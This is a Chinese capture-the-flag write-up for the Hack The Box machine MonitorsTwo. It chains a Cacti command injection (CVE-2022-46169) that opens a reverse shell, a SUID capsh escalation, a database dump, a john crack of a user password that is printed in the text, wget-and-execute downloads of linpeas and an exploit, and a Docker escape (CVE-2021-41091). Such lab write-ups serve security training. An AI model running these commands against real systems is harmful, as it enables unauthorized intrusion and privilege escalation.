HTB-MonitorsTwo
一、思路概要
1.信息收集发现Cacti
框架存在CVE-2022-46169命令注入漏洞;
2.CVE-2022-46169命令注入获取www-data权限;
3.发现mysql数据库和带suid的文件capsh;
4.capsh提权到root(此root非彼root);
5.数据库查询发现ssh用户;
6.ssh用户连接上去,发现邮件,存在docker漏洞CVE-2021-41091;
7.docker漏洞提权到root。
二、信息收集
nmap扫描端口服务
80端口开放,那么访问web端

三、CVE-2022-46169(Cacti命令注入漏洞)
google关键字Cacti exploit
找到是CVE-2022-46169
exploit:https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22
本地开启监听,并执行exp
nc -lvnp 9898
python3 CVE-2022-46169.py -u http://10.10.11.211 --LHOST=10.10.14.4 --LPORT=9898
获取www-data权限
在/var/www/html/
下发现数据库文件cacti.sql
,看到有admin用户密码,但实际无法登录主页
根目录有entrypoint.sh
,可看到是mysql数据库,有一些数据库命令
执行如下命令,查找有suid权限的文件,看到/sbin/capsh,比较罕见
find / -perm -u=s -type f 2>/dev/null
在shell命令提权手册里找到提权用法如下
https://gtfobins.github.io/gtfobins/capsh/#suid
/sbin/capsh --gid=0 --uid=0 --
提权到了root,但是此root非彼root
看到上面有mysql命令,而且admin和guest用户都在user_auth表里,那么执行如下命令
mysql --host=db --user=root --password=root cacti -e "SELECT * FROM user_auth"
发现有另一个用户marcus,密码是hash存储,那就用john爆破一下
将hash保存到新文件hash里,执行如下命令,得到密码
john --wordlist=/usr/share/wordlists/rockyou.txt hash
marcus:funkymonkey
ssh连接
从本地下载linpeas
本地kali执行
python3 -m http.server 80
目标靶机执行
cd /tmp
wget http://10.10.14.4/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
发现有邮件
查看邮件
cat /var/mail/marcus
四、CVE-2021-41091(docker目录遍历&命令执行)
可看到有三个CVE,依次google查找利用方式,找到如下exploit,是docker容器的漏洞
https://github.com/UncleJ4ck/CVE-2021-41091
大致原理是,因为权限控制不当,当docker容器内存在带有suid的程序,我们可以在主机遍历到这个docker容器的目录,然后执行这些带suid的程序,相当于也在主机中执行了这些带suid的程序
需要先在之前的root窗口给/bin/bash
添加suid权限
然后将exploit下载到本地,然后在目标靶机从本地下载exp.sh,执行如下命令
wget http://10.10.14.4/exp.sh
chmod +x exp.sh
./exp.sh
再进入到容器目录(在执行结果的Current Vulnerable Path处),执行./bin/bash -p
成功获取root权限
